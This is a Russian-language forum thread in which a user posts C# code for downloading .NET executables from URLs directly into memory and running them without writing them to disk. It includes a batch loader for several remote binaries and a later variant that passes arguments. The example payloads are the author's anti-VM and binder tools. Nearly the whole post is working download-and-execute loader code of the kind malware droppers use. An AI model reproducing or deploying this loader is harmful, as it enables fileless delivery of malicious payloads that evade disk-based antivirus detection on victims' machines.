C# Загрузка данных в память и запуск из памяти

r3xq1

Проверенный
Проверенный
r3xq1

r3xq1

Проверенный
Проверенный
Сообщения
53
Реакции
29
Сейчас я покажу наглядный пример как средствами C# можно загрузить данные в память и вызвать из памяти что-то, на примере я скачаю файл из интернета прямо в память и запущу его из памяти.

Создадим класс который позволит загружать данные из памяти:
C#:
namespace ExeToMemory
{
    using System;
    using System.Reflection;
    using System.Threading;

    public static class MemoryUtils
    {
        public static Thread RunFromMemory(byte[] bytes)
        {
            var thread = new Thread(new ThreadStart(() =>
            {
                try
                {
                    var assembly = Assembly.Load(bytes);
                    MethodInfo method = assembly?.EntryPoint;
                    method?.Invoke(null, null);
                }
                catch (BadImageFormatException) { Console.WriteLine("Native application not support"); }
            }));

            thread?.SetApartmentState(ApartmentState.STA);
            thread?.Start();

            return thread;
        }
    }
}
Создадим метод для загрузки файла и запуск из памяти:
C#:
namespace ExeToMemory
{
    using System;
    using System.IO;
    using System.Net;

    public static class Loader
    {
        public static void Inizialize(string url)
        {
            var Link = new Uri(url);
            using (var client = new WebClient())
            {
                Console.WriteLine("Загружаем файл...");
                byte[] data = client.DownloadData(Link);
                Console.WriteLine("Файл загружен");
                if (data != null)
                {
                    Console.WriteLine("Загружаем файл в память");
                    using (var mem = new MemoryStream(data))
                    {
                        byte[] bytes = mem?.ToArray();
                        Console.WriteLine("Запуск файла из памяти.");
                        MemoryUtils.RunFromMemory(bytes).Join();
                    }
                }
            }
        }
    }
}
Вызов в Main
C#:
namespace ExeToMemory
{
    using System;

    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            Console.Title = "Execute Download File From Memory by r3xq1";
      
            Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");

            Console.ReadKey();
        }
    }
}
P.S: Загружает только файлы на базе .Net Framework.
Если хотите массово загрузить в память то используйте такой подход:

C#:
namespace ExeToMemory
{
    using System;
    using System.IO;
    using System.Net;

    public static class Loader
    {
        public static void Init()
        {
            byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
            using (var mem = new MemoryStream(data))
            {
                byte[] bytes = mem?.ToArray();
                MemoryUtils.RunFromMemory(bytes).Join();
            }
        }

        public static void MassInit()
        {
            string[] binary = new string[2]
            {
               "https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe",
               "https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe",
            };
            foreach (string list in binary)
            {
                byte[] data = DownloadFile(list);
                using (var mem = new MemoryStream(data))
                {
                    byte[] bytes = mem?.ToArray();
                    MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания
                }   
            }
        }

        private static byte[] DownloadFile(string url)
        {
            byte[] result = null;
            if (string.IsNullOrWhiteSpace(url)) return result;
            try
            {
                var Link = new Uri(url);
                using (var webClient = new WebClient())
                {
                    result = webClient.DownloadData(Link);
                }
            }
            catch (WebException) { Console.WriteLine("Not Internet Connected"); }
            return result;
        }
    }
}
Вот и всё!)
 

r3xq1

Проверенный
Проверенный
r3xq1

r3xq1

Проверенный
Проверенный
Сообщения
53
Реакции
29
Дополню сюда ещё решение с любыми аргументами.

C#:
namespace ExeToMemory
{
    using System;
    using System.IO;
    using System.Reflection;
    using System.Threading;

    public static class MemoryUtils
    {
        public static object RunFromMemory(byte[] assemblyBytes)
        {
            try
            {
                // using var ms = new MemoryStream(assemblyBytes);
                // var assembly = Assembly.Load(ms?.ToArray()); // Загрузка файла

                var assembly = Assembly.Load(assemblyBytes); // Загрузка файла
                MethodInfo method = assembly.EntryPoint; // Переход в точку входа приложения
                if (method != null) // Проверка точки входа у приложения
                {
                    object main = assembly.CreateInstance(method.Name); // Экземпляр класса Main()
                    object execute = method.Invoke(main, new object[(int)(method.GetParameters().Length)]); // Вызов метода с передачей параметров, так же можно добавить ?? null
                    return execute;
                }
            }
            catch (Exception ex) { Console.WriteLine(ex.Message); }
            return null;
        }
    }
}
За кол-во аргументов отвечает строчка: new object[(int)(method?.GetParameters().Length)]
 

Сверху Снизу